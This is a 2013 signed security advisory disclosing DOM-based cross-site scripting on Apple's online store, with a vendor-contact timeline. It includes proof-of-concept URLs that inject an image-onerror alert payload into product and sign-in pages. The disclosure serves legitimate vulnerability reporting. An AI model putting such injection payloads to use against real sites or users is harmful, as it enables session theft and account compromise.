Apple Cross Site Scripting

`  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
After four weeks the following xss are still not fixed:  
  
Tested with IE8 / IE 10 & Google Chrome 27.0  
  
http://store.apple.com/us/browse/home/shop_ipad#"/> <img src='aaa'  
onerror=alert(document.domain)>  
http://store.apple.com/us/browse/home/shop_iphone#"/> <img src='aaa'  
onerror=alert(document.domain)>  
  
https://secure2.store.apple.com/us/sign_in?c=aHR0cDovL3N0b3JlLmFwcGxlLmNvbS91c3wxYW9zZmU4OGZjNWIyNThhYWVhOTM5MzVjZjI2NTk1OGE3MWUwY2Y0MmI2OA&r=SDHCD9JUYKX777H9KT9JT7JJTAPAXHFKH&s=aHR0cHM6Ly9zZWN1cmUyLnN0b3JlLmFwcGxlLmNvbS91cy9hY2NvdW50L3NldHVwL3N0YXJ0P3BsdG49NjdDOTM5QUN8MWFvczYwZTU0ZmU1Y2E0Mjc1OTg4NzFiMTdjYzE5YjA1NjYxZTVkNDE4YzI&up=t#"/>  
<img src='aaa' onerror=alert(document.domain)>  
  
Here is the advisory:  
  
Advisory: store.apple.com - DOM based Cross-site Scripting vulnerability  
Advisory ID: SSCHADV2013-009  
Author: Stefan Schurtz  
Affected Software: Successfully tested on store.apple.com  
Vendor URL: http://www.apple.com  
Vendor Status: informed  
  
==========================  
Vulnerability Description  
==========================  
  
The website 'store.apple.com' is prone to a DOM based XSS vulnerability.  
  
==========================  
PoC-Exploit  
==========================  
  
// IE8 & IE 10 & Google Chrome 27.0  
  
http://store.apple.com/us/browse/home/shop_ipad#"/> <img src='aaa'  
onerror=alert(document.domain)>  
http://store.apple.com/us/browse/home/shop_iphone#"/> <img src='aaa'  
onerror=alert(document.domain)>  
  
https://secure2.store.apple.com/us/sign_in?c=aHR0cDovL3N0b3JlLmFwcGxlLmNvbS91c3wxYW9zZmU4OGZjNWIyNThhYWVhOTM5MzVjZjI2NTk1OGE3MWUwY2Y0MmI2OA&r=SDHCD9JUYKX777H9KT9JT7JJTAPAXHFKH&s=aHR0cHM6Ly9zZWN1cmUyLnN0b3JlLmFwcGxlLmNvbS91cy9hY2NvdW50L3NldHVwL3N0YXJ0P3BsdG49NjdDOTM5QUN8MWFvczYwZTU0ZmU1Y2E0Mjc1OTg4NzFiMTdjYzE5YjA1NjYxZTVkNDE4YzI&up=t#"/>  
<img src='aaa' onerror=alert(document.domain)>  
  
==========================  
Disclosure Timeline  
==========================  
  
12-May-2013 - vendor informed by email  
13-May-2013 - feedback from vendor  
29-May-2013 - question about status  
29-May-2013 - feedback from vendor  
07-Jun-2013 - release date of this security advisory  
  
==========================  
Credits  
==========================  
  
Vulnerability found and advisory written by Stefan Schurtz.  
  
==========================  
References  
==========================  
  
http://www.apple.com  
http://www.darksecurity.de/advisories/2013/SSCHADV2013-009.txt  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.12 (MingW32)  
Comment: Thunderbird-Portable 3.1.20 by GnuPT - Gnu Privacy Tools  
Comment: Download at: http://thunderbird.gnupt.de  
  
iEYEARECAAYFAlGzq/0ACgkQg3svV2LcbMCgggCfSeoRw+JLielzk8wTjLps/TSb  
VioAoIrCq+w8TGVvhO1C2z7CMlApAvMS  
=6xb5  
-----END PGP SIGNATURE-----  
  
`